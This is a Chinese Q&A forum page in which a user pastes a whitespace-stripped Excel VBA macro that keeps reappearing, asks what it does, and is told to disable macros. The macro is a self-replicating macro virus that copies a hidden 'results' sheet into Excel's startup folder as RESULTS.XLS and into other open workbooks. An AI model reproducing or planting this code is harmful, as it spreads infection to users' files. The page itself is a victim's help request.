一个excle的宏~~是实现什么功能的啊~~跪求

问题描述

Subauto_open()Application.OnSheetActivate="ck_files"EndSubSubck_files()c$=Application.StartupPathm$=Dir(c$&""&"RESULTS.XLS")Ifm$="RESULTS.XLS"Thenp=1Elsep=0IfActiveWorkbook.Modules.Count>0Thenw=1Elsew=0whichfile=p+w*10SelectCasewhichfileCase10Application.ScreenUpdating=Falsen4$=ActiveWorkbook.NameSheets("results").Visible=TrueSheets("results").SelectSheets("results").CopyWithActiveWorkbook.Title="".Subject="".Author="".Keywords="".Comments=""EndWithnewname$=ActiveWorkbook.Namec4$=CurDir()ChDirApplication.StartupPathActiveWindow.Visible=FalseWorkbooks(newname$).SaveAsFileName:=Application.StartupPath&"/"&"RESULTS.XLS",FileFormat:=xlNormal_,Password:="",WriteResPassword:="",ReadOnlyRecommended:=_False,CreateBackup:=FalseChDirc4$Workbooks(n4$).Sheets("results").Visible=FalseApplication.OnSheetActivate=""Application.ScreenUpdating=TrueApplication.OnSheetActivate="RESULTS.XLS!ck_files"Case1Application.ScreenUpdating=Falsen4$=ActiveWorkbook.Namep4$=ActiveWorkbook.Paths$=Workbooks(n4$).Sheets(1).NameIfs$<>"results"ThenWorkbooks("RESULTS.XLS").Sheets("results").Copybefore:=Workbooks(n4$).Sheets(1)Workbooks(n4$).Sheets("results").Visible=FalseElseEndIfApplication.OnSheetActivate=""Application.ScreenUpdating=TrueApplication.OnSheetActivate="RESULTS.XLS!ck_files"CaseElseEndSelectEndSub

这个宏搞得我的excle打不开了,删掉之后又有,要怎么自动删掉呢~?

解决方案

解决方案二:
excel禁用宏嘛。
解决方案三:
引用1楼juliohuang的回复:

excel禁用宏嘛。

我还有其他的必须开着宏~~~

时间: 2024-11-03 22:30:55

一个excle的宏~~是实现什么功能的啊~~跪求的相关文章

数据-多表关联按照一个地区插入到一张新表中。在线跪求各位大神,急急急!!!

问题描述 多表关联按照一个地区插入到一张新表中.在线跪求各位大神,急急急!!! 多表关联,我现有多张表,想将数据提取出来,按照一个地区插入到一张新表中,但是这些多张表,有的比如有西安,但是有的有没有西安,所以会造成数据的丢失,有什么好的方法可以解决?在线跪求各位大神,急急急!!! 解决方案 刚开始的的第一张表是没有西安的,informix库 解决方案二: 按照你说的要求,我觉得应该有张表的地区应该最为全面,就是说有一条主线可以将所有表都联立起来,然后可以以这张表为主表进行左联即可.. 解决方案三

本人新手想用C#开发一个能够操作Word,有数据库的软件,跪求指导!

问题描述 我初步的想法是先读取某一个地址的Word文件然后将数据导入数据库(这一步不知道对不对,以为我需处理的Word的文件一般都是论文或者书之类的.所以不敢用变量直接存储.)处理完数据后再导出为Word文件.目前还不知道如何建工程,是用WPF应用程序好还是用web应用程序好,希望大家能给点意见或者样例程序之类的.将不胜感激! 解决方案 解决方案二:我觉得你这个东西的点在于你如何处理数据读取word和保存word都不是问题,找office相关组件的示例就可以了解决方案三:如果是结构化的数据,还是

唱吧之父陈华:放弃搜索二次创业 想成下一个李彦宏

在唱吧这款手机KTV应用产品突然蹿红之前,他的主人陈华,此前的大部分经历都与搜索算法有关. 1990年代末,陈华是中国第一代搜索工程师,在北大读书时,他与他的师兄共同为母校开发了一款叫做天网的FTP搜索系统,这个系统的算法工程师后来成为李彦宏回国缔造百度的主要功臣,它的负责人刘建国是百度的第一任CTO,工程师雷鸣则是百度第一任技术总监. 与所有性格单纯的工程师一样,陈华在年轻的时候对于技术有种真理般的崇拜,他的业余生活很少,那时,他相信算法,更相信有一天他会依靠算法致富. 这和他后来面临的现实并

class-jsp做一个类似于视频评论下的回复功能的获得数据显示,对前端不是很熟悉,求高手解答

问题描述 jsp做一个类似于视频评论下的回复功能的获得数据显示,对前端不是很熟悉,求高手解答 20C CREATE TABLE videocomment (id int(10) NOT NULL AUTO_INCREMENT/**ID**/createTime timestamp NULL DEFAULT CURRENT_TIMESTAMP/**创建时间**/userId int(10) NOT NULL/**用户ID**/videoId int(10) NOT NULL/**视频ID**/re

asp.net-想做一个输入地址判断内外环的功能

问题描述 想做一个输入地址判断内外环的功能 大家有没有做过电商网站.我现在想做一个输入地址就能自动判断收取费用,内外环的快递费用都不等,求方案. 解决方案 理论上说,你可以描绘一个内环的几何形状,算出它的坐标方程.将内环中的一点和顾客所在坐标的直线方程带入,如果方程的解有偶数个,就在内环里,否则在内环外. 但是这要求能根据顾客填写的地址知道它的坐标,现在的地图还没有精确到门牌,再说手工输入的地址解析也会发生错误.我觉得你粗略按照街道或者小区划分下,直接查表比较比较好. 解决方案二: 没有,北京这

宏 arm-arm 宏调用,如何从另一个文件调用宏,而不出错

问题描述 arm 宏调用,如何从另一个文件调用宏,而不出错 环境:MDK4 LPC2102 文件1 AREA MTest,CODE,READONLY MACRO $MSUB MADD $NUM0,$NUM1,$NUM2 ADD $NUM0,$NUM1,$NUM2 MEND END 文件2 AREA Test,CODE,READONLY ENTRY MAIN LDR R4,=0x4 LDR R1,=0x1 LDR R2,=0x3 MADD R0,R1,R2 STR R0,[R4] HALT B H

文件上传下载-求大神指教!怎么做一个Android软件实现云相册的功能!

问题描述 求大神指教!怎么做一个Android软件实现云相册的功能! 怎么做一个Android App,能够实现用户用手机拍照后,照片自动上传到服务器??用自动上传下载?服务和接受广播?普通App能实现吗?大神在哪,求点拨! 解决方案 系统拍照之后,接受到这个广播之后,上传即可.后者检查图片库,看是否有图片增加. 解决方案二: 自己做app,调用系统相机,然后把获得图片上传就行了 当然你可以接收系统相机的广播http://www.bubuko.com/infodetail-792730.html

hibernate-有一个将列表导出为excel的功能但是找不到对应代码,恳请大家帮我看一看

问题描述 有一个将列表导出为excel的功能但是找不到对应代码,恳请大家帮我看一看 这是页面对应的代码,代码里只有对应的标签显示,但表格上下的统计记录数和底部的导出一直找不到,代码使用struts1和hibernate写的,代码页太多不全部放了,恳请有做过这个功能的大神帮我看看应该是在哪里写的这些功能,如不清楚我可以贴多点代码上来 解决方案 浏览器的开发者模式F12看下,把箭头指向你需要的这两操作,看看html文档中这两个元素的源码.就可以定位这两个功能的源码了. 解决方案二: <%@ page

VB2005中,如何设制一个快捷键来实现程序的暂停功能?

问题描述 VB2005中,如何设制一个快捷键来实现程序的暂停功能?我之前用shortcutkeys定义了一个快捷键,但是只能在这个程序窗体被激活的情况上,才能用,如果激活别的窗体再按快捷键的话,就不管用了.....如何能让这个快捷键不受这个限制呢?还有程序的暂停功能应该如何实现? 解决方案 解决方案二:整个程序做一个线程,暂停就把这线程挂起你激活了别的窗体,系统焦点在别的窗体上,快捷键的事件又不发送到这窗体,自然就不相应快捷键了么解决方案三:谢谢你的提示~我再去琢磨琢磨~!!!!